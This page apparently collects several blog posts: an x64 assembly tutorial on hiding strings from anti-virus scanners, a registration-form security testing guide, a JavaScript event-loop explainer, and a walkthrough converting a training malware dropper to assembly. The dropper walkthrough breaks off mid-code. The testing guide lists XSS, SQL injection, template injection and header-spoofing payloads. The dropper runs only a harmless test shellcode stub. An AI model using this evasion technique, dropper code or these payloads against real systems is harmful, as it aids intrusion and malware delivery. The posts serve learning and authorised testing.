string-anti-virus-evasion-in-x64-assembly-part-1-01

As expected, the word "notepad" is easily detected. This is because any string that we declare and initialize in a program gets placed in the .data segment in memory by the compiler:

string-anti-virus-evasion-in-x64-assembly-part-1-02

To prevent detection, we need a way for the string to not be present in our compiled executable.

The solution

The solution is to declare the string to be passed as the parameter like so:

    char ca_notepad[] = { 'n','o','t','e','p','a','d', 0 };
    ShellExecute(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

And when strings is run, we now see that the "notepad" string is not present anymore.

string-anti-virus-evasion-in-x64-assembly-part-1-03

How did this happen?

This is because data contained in arrays are placed on the stack instead of the .data segment when declared within a function (And also, as long as it is not declared as static).

To further understand how this happens, let's convert this C program into x64 assembly.

Converting to x64 assembly

First, we setup our boilerplate code with an entry point and a call to ExitProcess.

    bits 64
    default rel

segment .text
    global main
    extern ExitProcess

main:
    push    rbp
    mov     rbp, rsp

    xor     rax, rax
    call    ExitProcess

Before we can call ShellExecute, we first need to import the ShellExecuteA symbol using extern.

segment .text
    ...
    extern ExitProcess
    extern ShellExecuteA

Aside: Why ShellExecuteA and not ShellExecute?

Because if you would look in the MSDN documentation, you would find that there really isn't a ShellExecute function available. There are ShellExecuteA (For ANSI strings) and ShellExecuteW (For Unicode strings), however. ShellExecute is just a macro for these two functions. We can confirm this by looking at the shellapi.h source code.

#ifdef UNICODE
#define ShellExecute  ShellExecuteW
#else
#define ShellExecute  ShellExecuteA
#endif // !UNICODE

Since assembly does not use header files we can just call ShellExecuteA or ShellExecuteW directly. In this example, we won't be needing unicode support so we're going to be using the former.


Before we call the function in assembly, let's go back and take a look at how we did it in C.

ShellExecute(0, "open", "notepad", NULL, NULL, SW_SHOW);

We have 5 paremeters to pass to the function. Here's how we can write this in assembly using the Microsoft x64 calling conventions.

    push    0x5              ; nShowCmd ; SW_SHOW == 0x5
    push    0x0              ; lpDirectory ; NULL == 0x0
    xor r9, r9               ; lpParameters ; Clear register == NULL

    lea r8, [msg_notepad]    ; lpFile
    lea rdx, [msg_open]      ; lpOperation

    xor rcx, rcx             ; hwnd

    sub rsp, 32
    call    ShellExecuteA    ; Call function
    add rsp, 32

We then initialize the strings by adding a data segment section:

segment .data
    msg_open    db  "open", 0
    msg_notepad db  "notepad", 0

For reference, here is our full code so far:

    bits 64
    default rel

segment .data
    msg_open    db  "open", 0
    msg_notepad db  "notepad", 0

segment .text
    global main
    extern ExitProcess
    extern ShellExecuteA

main:
    push    rbp
    mov     rbp, rsp

    push    0x5
    push    0x0
    xor r9, r9

    lea r8, [msg_notepad]
    lea rdx, [msg_open] 
    xor rcx, rcx    

    sub rsp, 32
    call    ShellExecuteA
    add rsp, 32

    xor     rax, rax
    call    ExitProcess

Take note that this version of the code is still the one where the "notepad" string is detectable.

To hide this string we need to apply the same solution we did to our C code; which is to place the data on the stack so that it would not be placed in the .data segment.

Here is how we did it in C:

    char ca_notepad[] = { 'n','o','t','e','p','a','d', 0 };
    ShellExecute(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

And here is how to do it in assembly:

    sub rsp, 8             ; Reserve space on stack for string
    mov byte [rsp], "n"
    mov byte [rsp+1], "o"
    mov byte [rsp+2], "t"
    mov byte [rsp+3], "e"
    mov byte [rsp+4], "p"
    mov byte [rsp+5], "a"
    mov byte [rsp+6], "d"
    mov byte [rsp+7], 0x0   
    lea r8, [rsp]          ; Load address of string to r8
    add rsp, 8             ; Reclaim space

Here's a summary of the the above code:

  • Since our string is 8 characters long (Including the 0x0 or NULL terminator), we reserve space on the stack with sub rsp, 8.
  • Each character is then placed individually in the reserved space using move byte while adding an offset to rsp.
  • The address pointed to by rsp is then loaded to the r8 register (This holds our 3nd parameter).
  • We reclaim our reserved space using add rsp, 8.

After the code above, r8 would now point to the location in the stack where our string resides:

string-anti-virus-evasion-in-x64-assembly-part-1-04


Aside: What if we have longer strings?

If we have a longer string like "powershell", then we need to reserve more space on the stack. Take note, however that when reserving space we need to maintain the stack alignment so we add and subtract by multiples of 8. The "powershell" string has 11 characters so we use 16.

    sub rsp, 16
    mov byte [rsp], "p"
    mov byte [rsp+1], "o"
    mov byte [rsp+2], "w"
    mov byte [rsp+3], "e"
    mov byte [rsp+4], "r"
    mov byte [rsp+5], "s"
    mov byte [rsp+6], "h"
    mov byte [rsp+7], "e"
    mov byte [rsp+8], "l"
    mov byte [rsp+9], "l"
    mov byte [rsp+10], 0x0

    lea r8, [rsp]
    add rsp, 16

With this final version of the code, "notepad" will not be visible to strings anymore.

Here is our final code:

    bits 64
    default rel

segment .data
    msg_open    db  "open", 0

segment .text
    global main
    extern ExitProcess
    extern ShellExecuteA

main:
    push    rbp
    mov     rbp, rsp

    push    0x5
    push    0x0
    xor r9, r9

    sub rsp, 8
    mov byte [rsp], "n"
    mov byte [rsp+1], "o"
    mov byte [rsp+2], "t"
    mov byte [rsp+3], "e"
    mov byte [rsp+4], "p"
    mov byte [rsp+5], "a"
    mov byte [rsp+6], "d"
    mov byte [rsp+7], 0x0   
    lea r8, [rsp]
    add rsp, 8

    lea rdx, [msg_open] 
    xor rcx, rcx    

    sub rsp, 32
    call    ShellExecuteA
    add rsp, 32

    xor     rax, rax
    call    ExitProcess

Hiding at scale

Writing the code above can get a little tedious especially if we want to pass a really long string. Thankfully, we can use a macro like the one I've written below:

%macro  addstr2stack    1-*
    %assign i 0
    %assign j 0
    %rep    %0
        mov byte [rsp+i+8*j], %1
        %assign i i+1
        %rotate 1

        %if i >= 8
            %assign j j+1
            %assign i 0
        %endif
    %endrep
%endmacro

What the macro does is that it loops through each character and places it into the correct position on the stack.

Important note: When reserving space on the stack, make sure it is in multiples of 16! This is because the stack has a 16-bit boundary for stack alignment!

For example, if our string has 10 characters, we only need to reserve 16 bytes. If our character is 20 characters long, we'd have to reserve 32 bytes.

This macro can then be called like this:

    sub rsp, 16        ; Reserve space for the string on the stack
    addstr2stack "n", "o", "t", "e", "p", "a", "d", 0x0
    lea r8, [rsp]
    ...
    add rsp, 16        ; After use, release the space

Here is what the result of the macro looks like in the debugger:

string-anti-virus-evasion-in-x64-assembly-part-1-05

For the full source code visit the repo on Github. Updates and fixes to the code will be pushed there.


So there you have it, we were able to successfully hide strings by changing the way how the data is declared and placed in memory. If you think about it, the technique is very simple.

However, we've only seen it used against the strings command. Can it evade an actual anti-virus? The answer is probably no. In my next post I'll be talking about API call obfuscation that would help hide functions like ShellExecute.

Also, for any questions or comments, feel free to reach out to me on Twitter or LinkedIn.


The article originally posted at: https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-1.html

AppSec Tales I | Sign-up

by Karol Mazurek


Application Security Testing of the Register form guidelines.

INTRODUCTION

This is the first article in the AppSec series which describes how to test Registration forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • Own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

I. IMPERSONATION

Register twice using the same data but changing the sign-up component.

  • The victim’s account could be hijacked if the application allows resetting the password based on one of the sign-up components.
    (Example of hijacking based on the username)
  • The attacker may impersonate the victim by using his data from another account.
  • The victim’s data can be removed entirely from the database or replaced with new ones entered by the attacker.
Source: Own study — An example of the email address’s impersonation.

Username and other sensitive data such as document number, phone number, personal identification number, International Bank Account Number, etc., must be linked to the existing account and blocked from being used again.

II. SPOOFING

Register twice using: the same email | + |. |uppercase|unicode.

  • The attacker could smuggle messages to the victim based on the registration form, which could help in a phishing campaign.
  • A victim’s mailbox can be flooded with vast amounts of email messages. Asa result, the mail server can place messages from the target domain in the spam or block them entirely from delivery.
  • An attacker could get registration bonuses multiple times.
Source: Own study — An example of spoofing.

Sub-addressing generally should not be blocked, but the possibility of creating multiple accounts from the same email address does.

III. UNICODE NORMALIZATION ACCOUNT TAKEOVER

Register account with Unicode letter.

U+0212A normalizes to  and can be sent URL encoded as %e2%84%aa.

  • An attacker could use this to hijack an existing account by creating the same one with Unicode characters and assigning different sign-in components (email/username/phone number etc.)
  • Records in the database of the old account could be overwritten, which could allow logging in using the new password.
Source: Own study — Examples of the Unicode normalization account takeover attacks.

Ensure canonical encoding is used across all the text and that no invalid characters are present. The validator should not accept double registration with Unicode signs.

IV. CREDENTIALS OVER UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could also be displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

V. ACCOUNT VERIFICATION

Check if email verification is implemented correctly.

  • If registration is paid by subscription, the attacker could register for free by reusing the token.
  • If there is no email validation, it is likely that the database stores all emails once provided in the registration form, which could overload the database with trash data leading to Denial of a Service.
  • Suppose the victim has changed the email address linked to the application account and the attacker has compromised their old email account. In that case, he may lose access to the application account due to the unexpired token reuse attack.
Source: Own study — Token testing flow.
Source: Own study —Loading all tokens from the file into Burp Sequencer.

Email addresses should be verified before making the website functionalities available. Moreover, the token itself should be at least 32 characters long, generated using a secure source of randomnesssingle-use, and time-limited.

VI. ENUMERATION

Check if it is possible to enumerate any sensitive information.

  • An attacker could brute-force sensitive data depending on the form.
Source: Own study — Username enumeration using register feature page.

The generic message should be implemented — for example:
Verification email has been sent”.

VII. PASSWORD POLICY

Check if the password policy complies with current standards.

  • The password could be brute-forced easier.
  • If the database was leaked, the attacker could easily crack the passwords.
Source: Own study — Password policy guidelines (10,000 common password wordlist).

Password policy is volatile. Always refer to the latest Application Security Verification Standard recommendations.

VIII. INPUT LENGTH LIMITATIONS

Check parameter values length limits.

  • The most common issue is that the hashing mechanism causes DoS.
Source: Own study — Proper length limitations.

Implement proper length limitations on the data received from the user.

IX. SSRF

Analyze the callback using Burp Collaborator “victim@burp_collab.net “.

I honestly never found a security bug like this, but analyzing DNS/SMTP interactions with the use of a collaborator may extend the attack surface.

X. RATE-LIMITING

Try to register 1000 accounts in seconds.

  • Facilitates the attacker in the enumeration of sensitive data.
  • It could lead toe-mail blocking of legitimate people and induce potential Denial of a Service.
Source: Own study — Setting up the Intruder-sniper.
Source: Own study — Choosing the payload for the Intruder attack.
Source: Own study — Setting up a resource pool for the intruder attack.

Restrict the consecutive requests through time delay, CAPTCHA, or other controls. No more than 100 failed attempts per hour should be possible on a single account.

XI. TRUNCATION

Check if data is truncated after a certain length.

  • An attacker could use it to bypass domain whitelisting.
  • Like in registering non-existing mail, an attacker could overload the database with only the username part leading to Denial of a Service.
Source: Own study — Setting up the Intruder-sniper.
Source: Own study — Choosing a payload for the Intruder attack.
Source: Own study — Examples of the attacks.

If data limits are set, invalid requests should be rejected rather than truncated to appropriate values.

XII. MASS ASSIGNMENT

Try to register as a privileged user — use the Param Miner extension.

  • If implemented, an attacker could get an administration privileged or bypass paying a subscription fee.
Source: Own study — Mass assignment testing flow (example of a fuzzing wordlist).
Source: Own study — Using the Param Miner extension.

Permissions should not depend on user-controllable location, such as a hidden field, cookie, or preset query string parameter.

XIII. IP ADDRESS SPOOFING

Try to spoof registration IP origin using headers.

  • If the website uses the value of the below headers as the client IP address, an attacker could change the IP value to bypass the IP source identification.
  • Burp Suite Collaborator Everywhere could help with finding this issue.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1

Use a relative URL and avoid using the Host header altogether in server-side code. Double-check whether each URL needs to be absolute & avoid additional headers.

XIV. SESSION PUZZLING — USER IMPERSONATION

Check if the registration feature does not override session variables.

  • An attacker could impersonate any user account.
Source: Own study — Registration feature, session puzzling testing flow.

Session variables should only be used for a single consistent purpose.

XV. PRE-ACCOUNT TAKEOVER

Register using no password&password method.

  • The attacker could hijack an account that the user created with SSO.
  • The attacker could set a trap by registering an account using the victim’s email and waiting for the victim to log in using the no password method.
Source: Own study — Testing no password registering methods.

Email validation should be implemented.

XVI. MISSING PASSWORD FIELD MASKING

Check if the software does mask passwords during entry.

  • It is increasing the potential for attackers to observe and capture passwords.
Source: Own study — Example of missing password field masking.

Include a password field mask and an option to view the masked password.

XVII. INPUT VALIDATION

Test input validation XSS, SQLi, RCE, SSRF, LFI, RFI…

It is impossible to describe each point of input validation in a single article, and it misses the point of this blog post, but I will give you some tips and links to other sources.

Source: @securinti presentation — Cheatsheet with the payload examples.

Check the Input Validation Cheat Sheet from OWASP.

XVIII. EMAIL ADDRESS VALIDATION

A few of my payloads to test the email address parameter value:

### HTML INJECTION
kmazurek+(<h1>aaa)@example.com
kmazurek(<h1>aaa)@example.com
"kmazurek+<h1>aaa"@example.com
### XSS
kmazurek+(<script>prompt(1)</script>)@example.com
kmazurek@afine(<script>prompt(1)</script>).com
"kmazurek+<script>prompt(1)</script>"@example.com
### SSTI
@example.com">kmazurek+${5*5}${{6*6}}@example.com
kmazurek(${5*5}${{6*6}})@example.com
"<%= 7 * 7 %>"@example.com
### SQLi
"' AND sleep(100);-- - "@example.com
"';WAITFOR DELAY '0:0:30';-- - "@example.com
kmazurek+(select * from (select(sleep(10)))a)@example.com
### SSRF
";burp_collab"@example.com
burp_collab@[127.0.0.1]
### PARAMETER POLLUTION
email=victim1@example.com&email=kmazurek@afine.com
"email":["victim2@example.com","kmazurek@afine.com"]
### CLRF
"recipient@example.com>\r\nRCPT TO:<kmazurek+"@example.com
### WILDCARD ABUSE
*@example.com
%@example.com
### FUZZ
"FUZZ"@example.com

Check the latest OWASP Email Address Validation.

DIFFICULTIES

TEST SAMPLES

Often, to check the registration form, test data will be needed, especially if we want to test rate-limit or other brute-force attacks. Sometimes, you could use random strings of characters generated in the Burp Intruder, but most of the time, it will have to be specially generated data, e.g.:

  • IBAN
  • phone number
  • National identification number

Sometimes National identification number must also match the date of birth, which even more complicate the case.

However, there is an easy solution: the Faker library made for Python3, which helps generate such data. Below are some commands that generate data based on the pl_PL provider. You can find many other countries to choose from in the documentation.

# python3 -m pip install Faker
from faker import Faker
fake = Faker("pl_PL")
first_name = fake.first_name()
last_name = fake.last_name()
identity_card_number = fake.identity_card_number()
nip = fake.nip()date_of_birth=fake.date_of_birth(minimum_age=18, maximum_age=90)
pesel=fake.pesel(date_of_birth)phone_number=fake.phone_number()
    if phone_number[0:3] == "+48":
    phone_number=phone_number[4:]
phone_number=phone_number.replace(" ","")

The simple solution would be to generate a wordlist all.csv separated by commas and split into wordlists like IBANs.txt,usernames.txtphone.txt (You can download and modify the template here to create such lists).
Then use the intruder attack type called Pitchfork.

Source: Own study — Setting up the Intruder-Pitchfork and places to inject payloads.
Source: Own study — Selecting a simple list for the payload set 1|2|3.

CAPTCHA

You may need to remove the captcha implementation to automate the testing of the registration form. It is good for you if the captcha is turned off during testing; otherwise, try the points below to bypass it:

  • Do not send the parameter related to the CAPTCHA.
  • Send the CAPTCHA parameter empty.
  • Search for the CAPTCHA value in available resources
    (page source code, JavaScripts files, cookie, headers).
  • Try reusing old CAPTCHA.
  • Try to reverse the CAPTCHA. Maybe it is easily calculated or easy to guess.
  • Bypass captcha using OCR — article.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to find new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you will find this article useful and keep returning to it. I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]


The Choking effect of Promises and Async-await on your existing Callbacks

by Jaimandeep Singh


Your Promise and Async-await may inadvertently be choking your Callbacks and adversely impacting the user experience.


Introduction

You want to make long calculations in your JavaScript program and decide to use promise/async-await to carry out the heavy lifting hoping to render your webpage at the earliest for the consistent user experience and relegate the heavy lift calculations to be carried out behind the scenes.

However, after incorporating promise/async-await in your program, you may find that some of the webpage components, which were wrapped inside the callbacks are not getting rendered as expected and the performance of your page has actually been hit.

Hhmm!!! that calls for some introspection. We need to be mindful of the impact of promise/async-await functions on our existing callbacks and the resulting cascading effect on the user experience. Let us try to understand as to what is happening with the help small code snippet. The code below performs following functions:

  1. Simple synchronous callback function
  2. setTimeout with timeout set to 0 as a web API callback function.
  3. setTimeout wrapped inside the Promise.
  4. Async-await doing the heavy lift calculations.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
  import { hrtime } from 'node:process';
  const startTime = hrtime.bigint();

  function banner(name) {
    const diffTime = hrtime.bigint() - startTime;
    console.log(`${diffTime} : ${name}`);
  }

  banner('Started Main');

  // Section 1: Simple synchronous callback function
  const syncFuncCallback = (name)=>name('Inside synchronous function callback');
  syncFuncCallback(banner);

  // Section 2: `setTimeout` with timeout set to `0` as a callback function.
  setTimeout(()=>{
    banner('Inside async callback');
  }, 0);

  // Section 3: `setTimeout` wrapped inside the Promise.
  const _ = new Promise(resolve => {
      setTimeout(() => {
        banner('Inside wrapped callback');
        resolve();
      }, 0);
    });

  // Section 4: Async-await doing the heavy lift calculations.
  async function longCalculation() {
    const _ = await new Promise(resolve => resolve());
    banner('Inside async microtask: awaiting for long calculation to finish');
    for (let i = 0; i < 5; i++) {
      for (let j = 0; j < 1000000000; j++);
      banner('Waiting...');
    }
  };

  // Async-await function being called multiple times
  longCalculation();
  longCalculation();

  banner('Finished Main');
  
Output
  
  36900 : Started Main
  3578600 : Inside synchronous function callback
  4752400 : Finished Main
  5192000 : Inside async microtask: awaiting for long calculation to finish
  817667900 : Waiting...
  1632834400 : Waiting...
  2042245200 : Waiting...
  2448202900 : Waiting...
  2853205800 : Waiting...
  2853816200 : Inside async microtask: awaiting for long calculation to finish
  3664469800 : Waiting...
  4070420800 : Waiting...
  4474460300 : Waiting...
  4877473000 : Waiting...
  5283404000 : Waiting...
  5285441000 : Inside async callback
  5286196200 : Inside wrapped callback
  

In the output we observe that the setTimeOut callback is executing at the end of the program even though it has the timeout interval of 0 milliseconds, whereas the async-await function having much longer execution time due to heavy lift calculation is being given priority and executed before the callback. It is basically choking our callbacks. So, what’s happening here!!! This unexpected behavior is the one that may adversely impact the rendering or responsiveness of our webpage resulting in poor user experience.

Explanation

In order to understand this behavior we need to look how V8 JavaScript Engine handles callbacks, promises and async-await under the hood. The diagram here shows the JavaScript runtime.

Deployment Architecture of Application

The promises are relatively new to JavaScript. Earlier we had only one callback queue or task queue to handle asynchronous callbacks which were part of Web API. With the introduction of promises/async-await JavaScript had a native way to handle asynchronous code and the JavaScript committee decided to have an additional queue to handle these promises/async-await through what is called job queue or microtask queue.

The microtask queue is similar to the task queue or the callback queue but has a higher priority than the callback queue. This means that the event loop is going to check the microtask queue first and make sure that there’s nothing in that queue before it starts looking at the callback queue or the task queue. Thus we see, why promise/async-await always executes before our Web API callbacks.


The post originally published at: https://cyber-rosh.github.io/musings/javascript/webpage%20performance/promises/

Converting a Malware Dropper to x64 Assembly

by Karlo L


In this post I'll be listing down lessons I learned while converting a simple malware dropper written in C to x64 assembly.

I started this project as a way to deepen my understanding of assembly so I could be better in malware development and reverse engineering (And also because I love coding in assembly and would always find an excuse to use it).

What to expect

I'll be going through sections of the C file and show the how it can be written accordingly in x64 Windows assembly. Take note, however, that the conversion is not one-to-one, meaning there are other ways of writing it. What I did was to structure the assembly code so that you can easily compare it with the C code while making sure that the end result will be the same.

I won't be covering the basics of assembly because this post does a better job of doing that. And as for the assembler, I'll be using nasm because this is the one I'm most familiar with.

Disclaimer: I am not an expert in any of these topics. I'm just someone who learned things and wish to share it to others. If I'm wrong about anything feel free to point it out.

Credits

The malware dropper that we'll be converting is made by @reenz0h. I found it in kymb0's repository and I learned that it's a part of the Red Team Operator course by Sektor7. I've read good things about the course and I plan to take it in the future, you should check it out too.

The dropper

Here's the malware dropper that we'll be converting:

/*

 Red Team Operator course code template
 storing payload in .data section

 author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 4 byte payload
unsigned char payload[] = {
    0x90,       // NOP
    0x90,       // NOP
    0xcc,       // INT3
    0xc3        // RET
};
unsigned int payload_len = 4;

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // Allocate a memory buffer for payload.
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

    // Copy payload to new buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
    getchar();

    // If all good, run the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

Here is what the code does:

  • Allocates memory buffer with size payload_len
  • Copies payload to the buffer
  • The buffer's memory protection is changed to PAGE_EXECUTE_READ which allows for code execution
  • A thread is created that runs the payload, which runs indefinitely

It doesn't seem that the program is doing much when run. All we see are the payload and exec_mem addresses for debugging purposes and nothing much else.

converting-a-malware-dropper-to-x64-assembly-01

The most interesting parts with this code will be seen under a debugger, which I'll go through later in this post.

Including external functions

In C, if we want to to use a Windows API function, we need to include the necessary header files and make sure to supply required library names via the linker, like so:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

x64 assembly does not use header files so the process is done differently. First, the necessary ".lib" files should be supplied to the linker:

link dropper_data.obj /subsystem:console /out:dropper_data.exe kernel32.lib msvcrt.lib

Next, every external function that we'll be using in our code needs to be specified as shown below:

segment .text
    global main
    extern ExitProcess
    extern printf
    extern VirtualAlloc
    extern VirtualProtect
    extern RtlMoveMemory
    extern getchar
    extern CreateThread
    extern WaitForSingleObject

Note that the extern keyword in assembly is different in C. Externs in C are used for exporting symbols while they are used for importing symbols in Assembly. global is the one used for exporting.

Once the symbols are properly exported then that is when the functions can be used with the call operand.

The entrypoint

There needs to be an entry point so that the operating system knows where to jump to start our program. We do this in C by declaring a main function:

int main(void) {
    ...
}

In assembly, we declare the entry point with global main (As seen in the previous section) and also supply the main: label within the code. This is where execution will jump to.

segment .text
   global main
   ...
   ...

main:
   push    rbp
   ...
   ...

The payload

The payload in this example is a simple shellcode made for testing purposes. This can be changed to any shellcode of any length as long as payload_len reflects the new size of the shellcode.

// 4 byte payload
unsigned char payload[] = {
    0x90,       // NOP
    0x90,       // NOP
    0xcc,       // INT3
    0xc3        // RET
};
unsigned int payload_len = 4;

In assembly, initializing data is done in segment .data.

segment .data
    ...
    ...
    ;; 4 byte payload
    payload         db  0x90, 0x90, 0xCC, 0xC3
    payload_len     db  4

We can then check the above data laid out in the .data memory segment using a debugger:

converting-a-malware-dropper-to-x64-assembly-02

converting-a-malware-dropper-to-x64-assembly-03

You may notice that our shellcode is not at the start of the .data segment because there are other data that was declared prior to our payload. This is important to note as the order we declare the data will be the order they will appear in memory.

Initialized data

All data in assembly needs to be declared and initialized before it can be used:

segment .data
    msg_hello       db  "Hello world!", 0xd, 0xa, 0
    msg_exec_addr   db  "exec_mem addr", 0
    msg_pload_addr  db  "payload addr", 0   
    msg_format      db  "%-20s : 0x%-016p", 0xd, 0xa, 0
    msg_hit_me      db  "Hit me!", 0xd, 0xa, 0

    ...
    ...
    lea rcx, [msg_format]
    lea rdx, [msg_pload_addr]
    ...
    call    printf
    ...

This is optional in C as you can pass data (like a string) directly to a function without adding it to a variable:

printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

However, under the hood, the C compiler actually places these data on the .data segment for you automatically. If you were to compile and run the C program you would see that the strings are in the .data segment.

Uninitialized data

Memory of certain sizes can be reserved so that it can be used later in a program. These unitialized data is declared not in a .data segment but in a .bss segment (more here).

segment .bss    
    exec_mem    resb    8
    old_protect resb    8

Nasm provides specific "pseudo-instructions" for declaring unitialized data like resb (reserve byte), resw (reserve word), and so on.

Alternatively, this can be written like this:

segment .bss    
    exec_mem        db  8 dup (?)   ; Reserve 8 bytes of ? null value
    old_protect     dq  1           ; DQ = QWORD

It would still work but NASM doesn't like it and would throw a warning.

dropper_data.asm:18: warning: attempt to initialize memory in BSS section `.bss': ignored [-w+other]

The memory for the uninitialized data won't be reserved until the program is loaded. Once it is, we can see the reserved memory in the .data segment.

Any data we move to the previously unitialized data can now be seen from a debugger. See below for an example:

    mov [exec_mem], rax  ; Move "000001F96E100000" to memory

converting-a-malware-dropper-to-x64-assembly-04

Shadow Spaces

When calling a function in x64 Windows assembly, programmers must keep in mind to reserve a "shadow space" before doing a call to an external function that is in another language like C or C++. For example:

    sub     rsp, 32 
    call    getchar
    add     rsp, 32

But what is a shadow space? Here is a quick explanation:

The shadow space is the mandatory 32 bytes (4x8 bytes) you must reserve for the called procedure. It just means you must provide 32 bytes on the stack before calling.

It can be used by compilers to leave a copy of the register values on the stack for later inspection in the debugger. It is meant to be used to make debugging x64 easier.

So in the code above, sub rsp, 32 reserves the shadow space before getchar is called. The space on the stack is highlighted in the image below.

converting-a-malware-dropper-to-x64-assembly-05

call getchar then executes and the "shadow space" gets filled.

converting-a-malware-dropper-to-x64-assembly-06

As the caller, we really do not care about the data that gets placed in the shadows space. So after calling the functions we do add rsp, 32 to reclaim the shadow space.

You'll find out the importance of properly reserving and releasing a shadow space especially if you are relying on the stack for saving local variables. Here is a segment of the code where I found out first-hand the importance of handling the shadow space.

    push    rax                ;; I need rax for later so I pushed it on the stack

    lea     rcx, [msg_hit_me]
    call    printf             ;; printf was expecting a shadow space so it just wrote onto the stack, overwriting the value from RAX before

    call    getchar            ;; getchar did the same too

    pop rax                    ;; The value saved by rax is overwritten

Simply handling the shadow space avoided this problem:

    push    rax

    lea     rcx, [msg_hit_me]
    sub     rsp, 32            ;; shadow space is reserved
    call    printf             ;; printf can write to the stack without overwriting data that I need
    add     rsp, 32            ;; shadow space is released

    sub     rsp, 32            ;; shadow space is reserved
    call    getchar            ;; same goes with getchar
    add     rsp, 32            ;; shadow space is released

    pop rax                    ;; I got the correct value from rax that I pushed

The above code can be further optimized by only releasing the shadow space after both call to printf and getchar, as shown below:

    push    rax

    lea     rcx, [msg_hit_me]
    sub     rsp, 32            ;; shadow space is reserved
    call    printf             ;; printf can write to the stack without overwriting data that I need

    call    getchar            ;; same goes with getchar
    add     rsp, 32            ;; shadow space is released

    pop rax                    ;; I got the correct value from rax that I pushed

However, there might come a time when the code will change and you might forget to re-add the code that releases and reserves the shadow space. This may lead to hard-to-find stack related problems. To avoid this, just make it a habit to reserve and release the shadow space every time an external function is called.

As an alternative, you can use a routine that could reserve and release the shadow space automatically like the one below:

shadow_call:
    pop rbx         ; Get the return address pointer in a non-volitile register
    sub rsp, 20h    ; Add the shadow space
    call rax        ; Call the function
    add rsp, 20h    ; Remove the shadow space
    jmp rbx         ; Go back to the stored instruction address
    ret

To call the routine, just do this:

    mov rax, getchar
    call    shadow_call

But honestly, I think it's less complicated to just do the handling of shadow space yourself.

Shadow spaces threw me off a bit when I was researching about this, but everything I said above should be enough of an explanation. If however you want more then go here and then here.

Microsoft x64 Calling Convention

It is also important to note that the calling convention for functions is different for Windows compared to other operating systems.

As a quick reference, if you are going to pass parameters to a function you need to use registers rcxrdxr8, and r9 for the first, second, third, and fourth parameters respectively.

Here's an example from our code:

    // Make new buffer as executable
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

In assembly, we supply the parameters like so:

    ;; Make new buffer as executable
    mov rcx, [exec_mem]      ;; First parameter
    xor rdx, rdx
    mov dl, [payload_len]    ;; Second parameter
    mov r8, 0x20             ;; Third parameter
    xor r9, r9
    lea r9, [old_protect]    ;; Fourth parameter
    sub     rsp, 32          ;; Reserve shadow space
    call    VirtualProtect   ;; Call function
    add     rsp, 32          ;; Release shadow space

For functions that require more than four parameters, the stack needs to be utilized. This can get confusing so let me point you to this post as it has diagrams for visualization.

The final code

The rest of the code can be converted using the concepts I've described above. Here is the fully converted code:

    bits 64
    default rel

segment .data
    msg_hello   db  "Hello world!", 0xd, 0xa, 0
    msg_exec_addr   db  "exec_mem addr", 0
    msg_pload_addr  db  "payload addr", 0   
    msg_format  db  "%-20s : 0x%-016p", 0xd, 0xa, 0
    msg_hit_me  db  "Hit me!", 0xd, 0xa, 0

    ;; 4 byte payload
    payload     db  0x90, 0x90, 0xCC, 0xC3
    payload_len     db  4

segment .bss    
    exec_mem    resb    8
    old_protect resb    8   

segment .text
    global main
    extern ExitProcess
    extern printf
    extern VirtualAlloc
    extern VirtualProtect
    extern RtlMoveMemory
    extern getchar
    extern CreateThread
    extern WaitForSingleObject

main:
    push    rbp
    mov     rbp, rsp

    ;; Allocate a memory buffer for payload.
    mov rcx, 0
    xor rdx, rdx
    mov dl, [payload_len]
    mov r8, 0x3000
    mov r9, 0x4
    sub     rsp, 32 
    call    VirtualAlloc
    add     rsp, 32 

    mov [exec_mem], rax

    lea     rcx, [msg_format]
    lea rdx, [msg_pload_addr]
    lea r8, payload
    sub     rsp, 32 
    call    printf
    add     rsp, 32 

    lea     rcx, [msg_format]
    lea rdx, [msg_exec_addr]
    mov r8, [exec_mem]
    sub     rsp, 32

    call    printf
    add     rsp, 32 

    ;; Copy payload to new buffer
    mov rcx, [exec_mem]
    lea rdx, [payload]
    xor r8, r8
